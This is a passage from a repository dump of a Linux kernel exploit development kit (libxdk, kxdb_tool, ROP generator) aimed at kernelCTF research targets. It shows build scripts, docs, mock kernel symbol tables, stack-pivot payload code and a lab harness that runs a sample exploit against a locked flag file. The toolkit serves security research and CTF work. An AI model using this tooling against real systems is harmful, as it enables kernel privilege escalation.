├── .gitignore ├── libxdk ├── compile_flags.txt ├── test │ ├── artifacts │ │ ├── .gitignore │ │ ├── actual_results │ │ │ └── .gitignore │ │ └── target_db_lts-6.1.81.kxdb │ ├── TestUtils.cpp │ ├── tests │ │ ├── SymbolsTests.h │ │ └── UtilsTests.h │ ├── TestEnvironment.cpp │ ├── logging │ │ ├── TestLogger.h │ │ ├── TapLogger.h │ │ ├── PrintfLogger.h │ │ └── TapLogger.cpp │ ├── TestEnvironment.h │ ├── check_test_run.py │ ├── CMakeLists.txt │ └── main.cpp ├── .clangd ├── .gitignore ├── build.sh ├── run_local_tests.sh ├── util │ ├── log.h │ ├── Register.cpp │ ├── error.cpp │ ├── math_utils.h │ ├── file.h │ ├── file.cpp │ ├── pwn_utils.cpp │ ├── HexDump.cpp │ ├── stdutils.h │ ├── ArgumentParser.h │ ├── ArgumentParser.cpp │ ├── str.cpp │ └── Syscalls.cpp ├── include │ └── xdk │ │ ├── postrip.h │ │ ├── core.h │ │ ├── util │ │ ├── Register.h │ │ ├── incbin.h │ │ ├── pwn_utils.h │ │ ├── error.h │ │ └── HexDump.h │ │ ├── leak │ │ └── LeakedBuffer.h │ │ ├── rip │ │ └── RopUtils.h │ │ └── pivot │ │ ├── StackShiftInfo.h │ │ └── StackPivot.h ├── pivot │ └── StackShiftInfo.cpp ├── cmake │ └── kernelXDKConfig.cmake.in ├── samples │ ├── exp111 │ │ ├── exp.sh │ │ └── Makefile │ ├── exp151 │ │ ├── exp.sh │ │ └── Makefile │ ├── exp65 │ │ ├── exp.sh │ │ └── Makefile │ ├── exp93_98 │ │ ├── exp.sh │ │ └── Makefile │ └── pipe_buf_rop │ │ ├── exp.sh │ │ └── Makefile ├── build_samples.sh ├── leak │ └── LeakedBuffer.cpp └── run_tests.sh ├── docs ├── .gitignore ├── src │ ├── about │ │ ├── introduction.md │ │ ├── kxdb_database.md │ │ ├── kxdb_file_format.txt │ │ ├── gadget_tools.rst │ │ └── kernel_image_tools.rst │ ├── libxdk │ │ ├── README.md │ │ ├── sample_exploit.md │ │ ├── how_to_get_started.md │ │ ├── rip_classes.rst │ │ ├── pivot_classes.rst │ │ ├── target_classes.rst │ │ ├── util_classes.rst │ │ ├── payloads_classes.rst │ │ ├── xdk_device_classes.rst │ │ ├── api.rst │ │ └── generate_api_rst.py │ ├── commandline_tools │ │ ├── image_db.md │ │ ├── kxdb_tool.md │ │ ├── image_runner.md │ │ └── rop_generator.md │ └── index.rst └── README.md ├── kxdb_tool ├── test │ ├── actual_results │ │ └── .gitkeep │ ├── .gitignore │ ├── mock_db │ │ └── releases │ │ │ ├── bad │ │ │ └── missing_files │ │ │ │ └── .gitkeep │ │ │ └── kernelctf │ │ │ ├── lts-6.1.38 │ │ │ ├── structs.json │ │ │ ├── symbols.txt │ │ │ ├── rop_actions.json │ │ │ ├── version.txt │ │ │ └── stack_pivots.json │ │ │ └── lts-6.1.36 │ │ │ ├── version.txt │ │ │ ├── stack_pivots.json │ │ │ ├── symbols.txt │ │ │ └── structs.json │ ├── artifacts │ │ ├── lts_6_1_36_db.kxdb │ │ └── lts_6_1_38_db.kxdb │ ├── expected_results │ │ ├── lts_6_1_36_db.kxdb │ │ └── lts_6_1_38_db.kxdb │ ├── __init__.py │ ├── test_kxdb_reader.py │ ├── test_image_db_target.py │ ├── utils.py │ ├── config.py │ └── test_image_db_utils.py ├── requirements.txt ├── .gitignore ├── __init__.py ├── converter │ ├── __init__.py │ ├── consts.py │ ├── utils.py │ ├── symbols.py │ ├── partial_sync.py │ ├── kxdb_file.py │ ├── image_db_utils.py │ ├── kxdb_writer.py │ └── kxdb_reader.py ├── data_model │ ├── __init__.py │ ├── structs.py │ ├── serialization.py │ ├── db.py │ ├── rop_chain.py │ └── meta.py ├── test.sh ├── config.py └── README.md ├── rop_generator ├── .gitignore ├── requirements.txt ├── README.md └── rop_samples.py ├── image_db ├── .gitignore ├── collect.sh ├── collect_runtime_data.sh ├── releases.yaml └── extract_structures.py ├── image_runner ├── rootfs │ ├── etc │ │ ├── group │ │ └── passwd │ ├── scripts │ │ └── command-output.sh │ └── init ├── guestfish_script ├── .gitignore ├── test │ ├── xdk_dev_test_multi.sh │ ├── xdk_dev_test.sh │ ├── run_stability_test.sh │ └── run_stability_test_round.sh └── compile_custom_modules.sh ├── .github ├── scripts │ ├── .gitignore │ ├── skipped_releases.txt │ ├── libxdk_release.sh │ ├── send_notification.js │ ├── db_get_missing_releases.sh │ ├── db_add_missing_releases.sh │ ├── db_upgrade_config.sh │ ├── db_merge.sh │ ├── db_process_release.sh │ └── full_release_test.sh ├── header-checker-lint.yml └── workflows │ ├── db-upgrade-to-new-config.yml │ ├── test-kxdb-tool.yml │ ├── test-libxdk-all.yml │ ├── db-generate-for-release.yml │ ├── daily-tests.yml │ └── deploy-docs.yml ├── third_party ├── linux │ ├── README.md │ ├── METADATA │ └── scripts │ │ ├── extract-vmlinux │ │ └── extract-ikconfig └── kernel_modules │ ├── helloworld │ ├── Makefile │ └── helloworld.c │ └── xdk_device │ ├── Makefile │ └── utils.h ├── CONTRIBUTING.md └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | -------------------------------------------------------------------------------- /libxdk/compile_flags.txt: -------------------------------------------------------------------------------- 1 | -I. 2 | -------------------------------------------------------------------------------- /docs/.gitignore: -------------------------------------------------------------------------------- 1 | _build 2 | src/api 3 | -------------------------------------------------------------------------------- /kxdb_tool/test/actual_results/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /kxdb_tool/test/.gitignore: -------------------------------------------------------------------------------- 1 | actual_results/* -------------------------------------------------------------------------------- /rop_generator/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | -------------------------------------------------------------------------------- /libxdk/test/artifacts/.gitignore: -------------------------------------------------------------------------------- 1 | kernelctf.kxdb -------------------------------------------------------------------------------- /docs/src/about/introduction.md: -------------------------------------------------------------------------------- 1 | ../../introduction.md -------------------------------------------------------------------------------- /docs/src/about/kxdb_database.md: -------------------------------------------------------------------------------- 1 | ../../kxdb_database.md -------------------------------------------------------------------------------- /docs/src/libxdk/README.md: -------------------------------------------------------------------------------- 1 | ../../../libxdk/README.md -------------------------------------------------------------------------------- /image_db/.gitignore: -------------------------------------------------------------------------------- 1 | database/ 2 | releases/ 3 | 4 | -------------------------------------------------------------------------------- /kxdb_tool/requirements.txt: -------------------------------------------------------------------------------- 1 | pydantic==2.10.4 2 | 3 | -------------------------------------------------------------------------------- /docs/src/libxdk/sample_exploit.md: -------------------------------------------------------------------------------- 1 | ../../sample_exploit.md -------------------------------------------------------------------------------- /image_runner/rootfs/etc/group: -------------------------------------------------------------------------------- 1 | root:x:0: 2 | user:x:1: 3 | -------------------------------------------------------------------------------- /kxdb_tool/test/mock_db/releases/bad/missing_files/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /docs/src/about/kxdb_file_format.txt: -------------------------------------------------------------------------------- 1 | ../../kxdb_file_format.txt -------------------------------------------------------------------------------- /kxdb_tool/.gitignore: -------------------------------------------------------------------------------- 1 | *db*.kxdb 2 | *db*.json 3 | *db*.yaml 4 | -------------------------------------------------------------------------------- /docs/src/commandline_tools/image_db.md: -------------------------------------------------------------------------------- 1 | ../../../image_db/README.md -------------------------------------------------------------------------------- /docs/src/commandline_tools/kxdb_tool.md: -------------------------------------------------------------------------------- 1 | ../../../kxdb_tool/README.md -------------------------------------------------------------------------------- /docs/src/libxdk/how_to_get_started.md: -------------------------------------------------------------------------------- 1 | ../../how_to_get_started.md -------------------------------------------------------------------------------- /kxdb_tool/test/mock_db/releases/kernelctf/lts-6.1.38/structs.json: -------------------------------------------------------------------------------- 1 | {} -------------------------------------------------------------------------------- /kxdb_tool/test/mock_db/releases/kernelctf/lts-6.1.38/symbols.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /docs/src/commandline_tools/image_runner.md: -------------------------------------------------------------------------------- 1 | ../../../image_runner/README.md -------------------------------------------------------------------------------- /kxdb_tool/test/mock_db/releases/kernelctf/lts-6.1.38/rop_actions.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /libxdk/.clangd: -------------------------------------------------------------------------------- 1 | CompileFlags: 2 | Add: [-x, c++, -I, "include"] 3 | -------------------------------------------------------------------------------- /libxdk/test/artifacts/actual_results/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /docs/src/commandline_tools/rop_generator.md: -------------------------------------------------------------------------------- 1 | ../../../rop_generator/README.md -------------------------------------------------------------------------------- /.github/scripts/.gitignore: -------------------------------------------------------------------------------- 1 | *_releases*.txt 2 | *.kxdb 3 | *.json 4 | *_config.txt 5 | rp* 6 | db/ 7 | -------------------------------------------------------------------------------- /image_runner/rootfs/etc/passwd: -------------------------------------------------------------------------------- 1 | root:x:0:0:root:/root:/bin/sh 2 | user:x:1:1:user:/home/user:/bin/sh 3 | -------------------------------------------------------------------------------- /kxdb_tool/test/mock_db/releases/kernelctf/lts-6.1.36/version.txt: -------------------------------------------------------------------------------- 1 | KernelCTF version 6.1.36 (...) 2 | -------------------------------------------------------------------------------- /kxdb_tool/test/mock_db/releases/kernelctf/lts-6.1.38/version.txt: -------------------------------------------------------------------------------- 1 | KernelCTF version 6.1.38 (...) 2 | -------------------------------------------------------------------------------- /kxdb_tool/test/artifacts/lts_6_1_36_db.kxdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/google/kernel-research/HEAD/kxdb_tool/test/artifacts/lts_6_1_36_db.kxdb -------------------------------------------------------------------------------- /kxdb_tool/test/artifacts/lts_6_1_38_db.kxdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/google/kernel-research/HEAD/kxdb_tool/test/artifacts/lts_6_1_38_db.kxdb -------------------------------------------------------------------------------- /libxdk/test/artifacts/target_db_lts-6.1.81.kxdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/google/kernel-research/HEAD/libxdk/test/artifacts/target_db_lts-6.1.81.kxdb -------------------------------------------------------------------------------- /third_party/linux/README.md: -------------------------------------------------------------------------------- 1 | Selected scripts copied from the Linux kernel (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/). 2 | -------------------------------------------------------------------------------- /kxdb_tool/test/expected_results/lts_6_1_36_db.kxdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/google/kernel-research/HEAD/kxdb_tool/test/expected_results/lts_6_1_36_db.kxdb -------------------------------------------------------------------------------- /kxdb_tool/test/expected_results/lts_6_1_38_db.kxdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/google/kernel-research/HEAD/kxdb_tool/test/expected_results/lts_6_1_38_db.kxdb -------------------------------------------------------------------------------- /kxdb_tool/test/mock_db/releases/kernelctf/lts-6.1.36/stack_pivots.json: -------------------------------------------------------------------------------- 1 | { 2 | "one_gadgets": [], 3 | "push_indirects": [], 4 | "pop_rsps": [] 5 | } -------------------------------------------------------------------------------- /rop_generator/requirements.txt: -------------------------------------------------------------------------------- 1 | -e git+https://github.com/angr/angrop.git@62a08ab3a6c7fb46bee326afbd45225bcb3ec449#egg=angrop 2 | keystone-engine==0.9.2 3 | -------------------------------------------------------------------------------- /docs/src/libxdk/rip_classes.rst: -------------------------------------------------------------------------------- 1 | RIP Module 2 | ========== 3 | 4 | .. doxygengroup:: rip_classes 5 | :project: kernelXDK 6 | :members: 7 | :content-only: 8 | -------------------------------------------------------------------------------- /docs/src/libxdk/pivot_classes.rst: -------------------------------------------------------------------------------- 1 | Pivot Module 2 | ============ 3 | 4 | .. doxygengroup:: pivot_classes 5 | :project: kernelXDK 6 | :members: 7 | :content-only: 8 | -------------------------------------------------------------------------------- /docs/src/libxdk/target_classes.rst: -------------------------------------------------------------------------------- 1 | Target Module 2 | ============= 3 | 4 | .. doxygengroup:: target_classes 5 | :project: kernelXDK 6 | :members: 7 | :content-only: 8 | -------------------------------------------------------------------------------- /docs/src/libxdk/util_classes.rst: -------------------------------------------------------------------------------- 1 | Utility Module 2 | ============== 3 | 4 | .. doxygengroup:: util_classes 5 | :project: kernelXDK 6 | :members: 7 | :content-only: 8 | -------------------------------------------------------------------------------- /docs/src/libxdk/payloads_classes.rst: -------------------------------------------------------------------------------- 1 | Payloads Module 2 | =============== 3 | 4 | .. doxygengroup:: payloads_classes 5 | :project: kernelXDK 6 | :members: 7 | :content-only: 8 | -------------------------------------------------------------------------------- /docs/src/libxdk/xdk_device_classes.rst: -------------------------------------------------------------------------------- 1 | XDK Device Module 2 | ================= 3 | 4 | .. doxygengroup:: xdk_device_classes 5 | :project: kernelXDK 6 | :members: 7 | :content-only: 8 | -------------------------------------------------------------------------------- /kxdb_tool/test/mock_db/releases/kernelctf/lts-6.1.36/symbols.txt: -------------------------------------------------------------------------------- 1 | ffffffff811befb0 T prepare_kernel_cred 2 | ffffffff836765c0 D init_nsproxy 3 | ffffffff82a1cf80 d anon_pipe_buf_ops 4 | ffffffff812292e0 T msleep 5 | -------------------------------------------------------------------------------- /image_runner/guestfish_script: -------------------------------------------------------------------------------- 1 | mount /dev/sda1 / 2 | 3 | copy-in rootfs/busybox / 4 | copy-in rootfs/init / 5 | 6 | mkdir /bin 7 | command '/busybox --install -s /bin' 8 | 9 | mkdir /dev 10 | ln-s /dev/ttyS1 /output 11 | -------------------------------------------------------------------------------- /.github/header-checker-lint.yml: -------------------------------------------------------------------------------- 1 | allowedCopyrightHolders: 2 | - 'Google LLC' 3 | allowedLicenses: 4 | - 'Apache-2.0' 5 | sourceFileExtensions: 6 | - 'sh' 7 | - 'py' 8 | - 'c' 9 | - 'cpp' 10 | - 'h' 11 | - 'hpp' 12 | -------------------------------------------------------------------------------- /docs/src/libxdk/api.rst: -------------------------------------------------------------------------------- 1 | API Reference 2 | ============= 3 | 4 | .. toctree:: 5 | :maxdepth: 2 6 | 7 | xdk_device_classes 8 | rip_classes 9 | target_classes 10 | util_classes 11 | pivot_classes 12 | payloads_classes 13 | -------------------------------------------------------------------------------- /libxdk/.gitignore: -------------------------------------------------------------------------------- 1 | bin/ 2 | dmesg.txt 3 | debug.log 4 | tap_results.txt 5 | output.txt 6 | actual_results/* 7 | samples/**/exp 8 | samples/**/exploit 9 | samples/**/output 10 | samples/**/*.kxdb 11 | test_results/ 12 | build/ 13 | *.o 14 | lib/ 15 | -------------------------------------------------------------------------------- /image_runner/.gitignore: -------------------------------------------------------------------------------- 1 | releases/ 2 | bzImage* 3 | vmlinu* 4 | *.img 5 | *.tar 6 | *.deb 7 | *.qcow2 8 | output 9 | **/busybox 10 | *.cpio 11 | *.ko 12 | rootfs/* 13 | !rootfs/etc 14 | !rootfs/scripts 15 | !rootfs/init 16 | logs/ 17 | test/stability_test_outputs/ 18 | -------------------------------------------------------------------------------- /docs/src/about/gadget_tools.rst: -------------------------------------------------------------------------------- 1 | Gadget Tools 2 | ============ 3 | 4 | This component contains tools for finding ROP gadgets and stack pivots in Kernel images. It handles tricky parts such as runtime patching. The gadgets found 5 | are then used by the core library to build functional exploits. 6 | -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # [kernelXDK](https://xdk.dev/) 2 | 3 | Read more here: 4 | 5 | * [Introduction](./introduction.md) 6 | * [How to get started](./how_to_get_started.md) 7 | * [Sample exploit](./sample_exploit.md) 8 | 9 | ## Disclaimer 10 | 11 | This is not an officially supported Google product. 12 | -------------------------------------------------------------------------------- /.github/scripts/skipped_releases.txt: -------------------------------------------------------------------------------- 1 | cos-93-16623.341.29 # missing vmlinux file 2 | cos-101-17162.127.42 # missing vmlinux file 3 | lts-6.1.31 # missing vmlinux file 4 | cos-105-17412.101.17 # missing vmlinux file 5 | cos-97-16919.294.28 # missing vmlinux file 6 | mitigation-6.1-broken # broken 7 | -------------------------------------------------------------------------------- /third_party/linux/METADATA: -------------------------------------------------------------------------------- 1 | name: "Linux kernel" 2 | description: "Partial copy of the Linux kernel (selected script(s))" 3 | 4 | third_party { 5 | url { 6 | type: HOMEPAGE 7 | value: "https://www.kernel.org/" 8 | } 9 | url { 10 | type: GIT 11 | value: "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/" 12 | } 13 | version: "6.11-rc2" 14 | last_upgrade_date { year: 2024 month: 8 day: 6 } 15 | } 16 | -------------------------------------------------------------------------------- /third_party/kernel_modules/helloworld/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-2.0 2 | # Copyright 2024 Google LLC 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License 6 | # version 2 as published by the Free Software Foundation. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | 13 | obj-m += helloworld.o 14 | -------------------------------------------------------------------------------- /kxdb_tool/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | -------------------------------------------------------------------------------- /kxdb_tool/test/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | -------------------------------------------------------------------------------- /kxdb_tool/converter/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | -------------------------------------------------------------------------------- /kxdb_tool/data_model/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | -------------------------------------------------------------------------------- /kxdb_tool/test.sh: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | SCRIPT_DIR=$(dirname $(realpath "$0")) 16 | cd "$SCRIPT_DIR" 17 | python3 -m unittest 18 | -------------------------------------------------------------------------------- /libxdk/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | set -ex 17 | cmake -B build 18 | cmake --build build --target kernelXDKTests 19 | -------------------------------------------------------------------------------- /third_party/kernel_modules/xdk_device/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-2.0 2 | # Copyright 2024 Google LLC 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License 6 | # version 2 as published by the Free Software Foundation. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | 13 | obj-m += xdk_device.o 14 | ccflags-y := -Werror -Wno-declaration-after-statement -Wno-frame-larger-than -Wno-missing-prototypes -Wno-missing-declarations -Wno-missing-attributes 15 | -------------------------------------------------------------------------------- /libxdk/run_local_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | set -e 17 | 18 | ./build.sh 19 | build/test/kernelXDKTests --test-suites StaticTests --tests ^TODO 20 | -------------------------------------------------------------------------------- /libxdk/util/log.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | struct ILog { 20 | virtual void Log(const char* format, ...) = 0; 21 | }; 22 | -------------------------------------------------------------------------------- /kxdb_tool/converter/consts.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | MAGIC = "KXDB" 16 | VERSION_MAJOR = 1 17 | VERSION_MINOR = 1 18 | 19 | SECTION_META = 1 20 | SECTION_TARGETS = 2 21 | SECTION_STRUCT_LAYOUTS = 3 22 | -------------------------------------------------------------------------------- /libxdk/util/Register.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | const char* register_names[] = { "RAX", "RBX", "RCX", "RDX", "RSI", "RDI", "RBP", "RSP", "R8", "R9", "R10", "R11", "R12", "R13", "R14", "R15" }; 16 | -------------------------------------------------------------------------------- /docs/src/about/kernel_image_tools.rst: -------------------------------------------------------------------------------- 1 | Kernel Image Tools 2 | ================== 3 | 4 | This component contains tools to download and process Kernel images. In addition it contains scripts to run these images in a virtualized environment. 5 | 6 | Kernel Image Database 7 | --------------------- 8 | 9 | `image_db` is responsible for downloading kernel distro files and managing a local database of kernel images. It provides a structured way to store and retrieve different kernel versions and configurations. 10 | 11 | Kernel Image Runner 12 | ------------------- 13 | 14 | The `image_runner` is a tool for running various kernel distribution images. It supports features for kernel exploitation, including debugging capabilities and the ability to compile custom kernel modules directly within the provisioned environment. 15 | -------------------------------------------------------------------------------- /libxdk/include/xdk/postrip.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | -------------------------------------------------------------------------------- /libxdk/pivot/StackShiftInfo.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include 16 | 17 | void StackShiftingInfo::Apply(uint64_t kaslr_base, Payload& payload) { 18 | for (auto& shift : stack_shifts) { 19 | payload.SetU64(shift.ret_offset, kaslr_base + shift.pivot.address); 20 | } 21 | } -------------------------------------------------------------------------------- /image_runner/test/xdk_dev_test_multi.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | set -e 17 | 18 | SCRIPT_DIR=$(dirname $(realpath "$0")) 19 | cd $SCRIPT_DIR 20 | 21 | gcc -static -Werror -o ../rootfs/xdk_dev_test xdk_dev_test.c 22 | cd .. 23 | ./update_rootfs_image.sh 24 | ./multi_runner.py /xdk_dev_test --pipebuf-test 25 | -------------------------------------------------------------------------------- /libxdk/cmake/kernelXDKConfig.cmake.in: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # cmake/KernelXDKConfig.cmake.in 16 | # This file is generated by CMake. 17 | 18 | @PACKAGE_INIT@ 19 | 20 | # Define the imported target for KernelXDK 21 | include(${CMAKE_CURRENT_LIST_DIR}/@PROJECT_NAME@Targets.cmake) 22 | 23 | check_required_components(@PROJECT_NAME@) -------------------------------------------------------------------------------- /libxdk/samples/exp111/exp.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | echo "CTF{secret_flag_deadbeef}" > /flag 17 | chmod 0000 /flag 18 | if [ -e /dev/xdk ]; then 19 | chmod o+rw /dev/xdk 20 | fi 21 | chmod o+rx /exp 22 | echo "Running id and then the exploit: /exp $@" 23 | ARG="id; /exp $@" 24 | su user -c /bin/sh -c "$ARG" 25 | -------------------------------------------------------------------------------- /libxdk/samples/exp151/exp.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Copyright 2025 